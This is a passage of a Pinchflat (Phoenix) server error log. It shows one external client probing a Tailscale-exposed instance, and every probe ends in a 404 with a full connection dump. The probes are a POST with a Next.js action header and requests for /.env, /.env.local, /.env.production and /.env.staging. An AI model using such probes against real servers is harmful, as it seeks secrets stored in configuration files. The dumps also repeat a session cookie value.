:request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "content-length" => "13", "content-type" => "application/x-www-form-urlencoded", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "POST", body_length: 13, path_info: :undefined, qs: "", has_body: true, streamid: 6, host_info: :undefined, has_read_body: true }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "content-length" => "13", "content-type" => "application/x-www-form-urlencoded", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "POST", body_length: (truncated) 02:10:05.955 [info] GET /.env 02:10:05.956 [debug] QUERY OK source="settings" db=0.1ms idle=197.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:05.956 [debug] QUERY OK source="settings" db=0.1ms idle=197.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:05.956 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:05.956 [error] #PID<0.3311.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 7) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 7, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3311.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk5_MHfHm7j6IAAQGB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 7, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 7, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", me (truncated) 02:10:06.062 [info] GET /.env.local 02:10:06.063 [debug] QUERY OK source="settings" db=0.5ms idle=204.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:06.063 [debug] QUERY OK source="settings" db=0.1ms idle=204.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:06.063 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:06.063 [error] #PID<0.3312.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 8) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.local ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 8, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3312.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/.env.local", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk5_lf0e7Al-EAAQHB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 8, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 8, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: " (truncated) 02:10:06.180 [info] GET /.env.production 02:10:06.181 [debug] QUERY OK source="settings" db=0.3ms idle=242.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:06.181 [debug] QUERY OK source="settings" db=0.2ms idle=225.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:06.181 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:06.182 [error] #PID<0.3313.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 9) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.production ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 9, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3313.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/.env.production", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6ABvqOSl5d8AAQIB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 9, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 9, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: (truncated) 02:10:06.291 [info] GET /.env.staging 02:10:06.291 [debug] QUERY OK source="settings" db=0.2ms idle=334.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:06.291 [debug] QUERY OK source="settings" db=0.1ms idle=228.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", 